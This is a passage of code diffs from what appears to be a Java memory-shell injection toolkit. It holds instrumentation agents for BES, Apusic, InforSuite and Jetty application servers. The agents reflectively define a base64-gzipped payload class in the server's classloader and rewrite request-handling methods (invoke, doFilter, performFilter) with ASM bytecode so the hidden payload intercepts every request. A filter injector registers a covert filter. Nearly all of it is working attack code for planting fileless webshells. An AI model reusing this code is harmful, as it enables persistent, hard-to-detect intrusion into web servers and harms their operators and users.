for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter");
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,39 +1,28 @@
package com.reajason.javaweb.memshell.injector.bes; package com.reajason.javaweb.memshell.injector.bes;
import net.bytebuddy.agent.builder.AgentBuilder; import org.objectweb.asm.*;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation; import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain; import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
import static net.bytebuddy.matcher.ElementMatchers.named;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/28 * @since 2025/3/26
*/ */
public class BesContextValveAgentInjector implements AgentBuilder.Transformer { public class BesContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/DefaultContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
static Class<?> interceptorClass = null; public static String getClassName() {
return "{{advisorName}}";
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
} }
@Override public static String getBase64String() {
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, return "{{base64String}}";
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class))));
} }
public static void premain(String args, Instrumentation inst) throws Exception { public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,21 +33,191 @@ public class BesContextValveAgentInjector implements AgentBuilder.Transformer {
launch(inst); launch(inst);
} }
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception { private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting"); System.out.println("MemShell Agent is starting");
new AgentBuilder.Default() inst.addTransformer(new BesContextValveAgentInjector(), true);
.ignore(ElementMatchers.none()) for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
.disableClassFormatChanges() String name = allLoadedClass.getName();
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION) if (TARGET_CLASS.replace("/", ".").equals(name)) {
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) inst.retransformClasses(allLoadedClass);
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) }
.type(named("com.bes.enterprise.webtier.core.DefaultContextValve")) }
.transform(new BesContextValveAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke"); System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
} }
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,97 +0,0 @@
package com.reajason.javaweb.memshell.injector.bes;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class BesContextValveAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/DefaultContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public BesContextValveAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new BesContextValveAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
}
}
@@ -1,39 +1,28 @@
package com.reajason.javaweb.memshell.injector.bes; package com.reajason.javaweb.memshell.injector.bes;
import net.bytebuddy.agent.builder.AgentBuilder; import org.objectweb.asm.*;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation; import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain; import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
import static net.bytebuddy.matcher.ElementMatchers.named;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/28 * @since 2025/3/26
*/ */
public class BesFilterChainAgentInjector implements AgentBuilder.Transformer { public class BesFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
static Class<?> interceptorClass = null; public static String getClassName() {
return "{{advisorName}}";
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
} }
@Override public static String getBase64String() {
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, return "{{base64String}}";
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
} }
public static void premain(String args, Instrumentation inst) throws Exception { public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,21 +33,191 @@ public class BesFilterChainAgentInjector implements AgentBuilder.Transformer {
launch(inst); launch(inst);
} }
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception { private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting"); System.out.println("MemShell Agent is starting");
new AgentBuilder.Default() inst.addTransformer(new BesFilterChainAgentInjector(), true);
.ignore(ElementMatchers.none()) for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
.disableClassFormatChanges() String name = allLoadedClass.getName();
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION) if (TARGET_CLASS.replace("/", ".").equals(name)) {
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) inst.retransformClasses(allLoadedClass);
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
.type(named("com.bes.enterprise.webtier.core.ApplicationFilterChain")) }
.transform(new BesFilterChainAgentInjector()) }
.installOn(inst);
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
} }
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,97 +0,0 @@
package com.reajason.javaweb.memshell.injector.bes;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class BesFilterChainAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public BesFilterChainAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new BesFilterChainAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
}
}
@@ -44,6 +44,10 @@ public class InforSuiteFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
/**
* com.cvicse.loong.enterprise.web.WebModule
* /usr/local/inforsuite/as/modules/web-glue.jar
*/
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -59,12 +63,18 @@ public class InforSuiteFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
return classLoader.loadClass(getClassName()).newInstance(); return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -83,8 +93,9 @@ public class InforSuiteFilterInjector {
log.warning("filter already exists"); log.warning("filter already exists");
return; return;
} }
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
@@ -97,7 +108,7 @@ public class InforSuiteFilterInjector {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} }
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
constructors[0].setAccessible(true); constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef); Object filterConfig = constructors[0].newInstance(context, filterDef);
HashMap<String, Object> filterConfigs = null; HashMap<String, Object> filterConfigs = null;
@@ -1,39 +1,37 @@
package com.reajason.javaweb.memshell.injector.jetty; package com.reajason.javaweb.memshell.injector.jetty;
import net.bytebuddy.agent.builder.AgentBuilder; import org.objectweb.asm.*;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation; import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain; import java.security.ProtectionDomain;
import java.util.Arrays;
import static net.bytebuddy.matcher.ElementMatchers.named; import java.util.List;
